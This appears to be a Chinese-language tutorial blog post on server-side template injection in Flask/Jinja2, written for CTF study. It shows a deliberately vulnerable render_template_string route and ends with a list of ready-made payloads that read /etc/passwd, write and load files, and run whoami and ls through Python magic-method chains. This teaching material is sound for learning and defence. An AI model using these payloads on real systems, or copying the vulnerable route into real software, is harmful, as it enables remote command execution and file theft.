又称服务器端模板注入。这一类漏洞在ctf中也经常出现。通过这篇文章主要学习一下SSTI的基础。
什么是SSTI
在说这个之前先来了解一下模板与模板引擎。
比如说你百度查资料的时候,页面返回给你的大体格式是不改变的,改变的只是你查询的内容。
这个框架就是模板。主要作用就是将用户查询的动态数据与静态信息分离。大大提高了开发效率。服务端把相应的模板文件和一些变量传递给模板引擎,模板引擎解析后再传给用户端 ,模板引擎只处理模板上的一些东西,而hacker们就是将恶意的模板语句注入在模板中,在对模板进行渲染时,就会执行我们的恶意代码,将执行结果返回给客户端。
漏洞原理
以flask模板为例,主要了解渲染和路由。
看这段代码
from flask import flask
@app.route('/index/')
def hello_word():
return 'hello world'
路由就是把url与函数对应起来,一个映射的关系。比如这段代码当你访问http://host:port/index/就会输出hello world。
渲染的方法主要有render_template
和render_template_string
两种。
render_template函数是用来渲染一个指定文件。而render_template_string是用来渲染字符串的。
看漏洞代码
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
code是我们用户输入的,当我们输入的内容拼接到模板中,因为没有经过转义和限制,在渲染模板时就会执行我们输入的恶意代码。
常见的模板有很多,不同模板的语法也不相同,在实际情况我们可以测试判断属于哪一种模板。
例如不同模板的输出结果。
Twig{{7*'7'}}结果49
jinja2{{7*'7'}}结果为7777777
smarty7{*comment*}7为77
就拿jinja2这个模板引擎为例,它的取值变量格式为{{}},里面的表达式会自动执行。我们可以用{{7*7}}来测试网站有没有模板注入漏洞。
当然,当你发现这个漏洞想用一些恶意命令来执行一些操作。比如你想调用os模块使用系统命令,
import os
os.system('id')
但是事实上不可行的。可能是因为模板引擎会限制import声明语法。所以我们不能直接调用。那么我们呢就需要充分利用python中的组件,也就是魔术方法。下列举例常用的魔术方法。
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
知道这些魔术方法我们该怎么去用它呢?比如我们就需要来查看id,需要使用到os模块。我们知道python中万物皆可对象,那么我们就可以用一个空字符串作为一个起点了。
查看当前属性的对象''.__class__
那我们继续查看当前类的基类。''.__class__.__base__
基类找到了,那么我们就可以查找所以子类了。''.__class__.__base__.subclasses__()
太多太多。到这个时候,SSTI的姿势和技巧就丰富了许多。在这里,我们需要挑选sys模块的类,因为sys模块也调用了os模块。查找我们需要利用的类可以通过脚本来查找。这里我们选择<warnings.catch warnings>这个类,排序是从0开始的。所以是141位。
''.__class__.__base__.__subclasses__()[141] #找到这个类
''.__class__.__base__.__subclasses__()[141].__init__.__globals__
#初始化,以字典的形式返回所有的全局变量
''.__class__.__base__.__subclasses__()[141].__init__.__globals__['sys'].modules['os']
#找到sys,并在其中调用os模块
#调用到os模块,我们就可以执行系统命令了。
{{''.__class__.__base__.__subclasses__()[141].__init__.__globals__['sys'].modules['os'].popen("id").read()}}
#来读取id,当然最后还要有语法包裹。
说到这里,对SSTI的攻击手段都有大致的了解,当然,像这样的payload的构造肯定是要花不少时间的。我们可以用一些现成的payload。
python2
#文件读取和写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
#命令执行
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
#这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
#system函数换为popen('').read(),需要导入os模块
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#不需要导入os模块,直接从别的模块调用
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
python3
#读文件
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}
#命令执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
在一些ctf题目可能会有一些waf过滤以及绕过姿势,之后会通过做题巩固总结。
相关链接: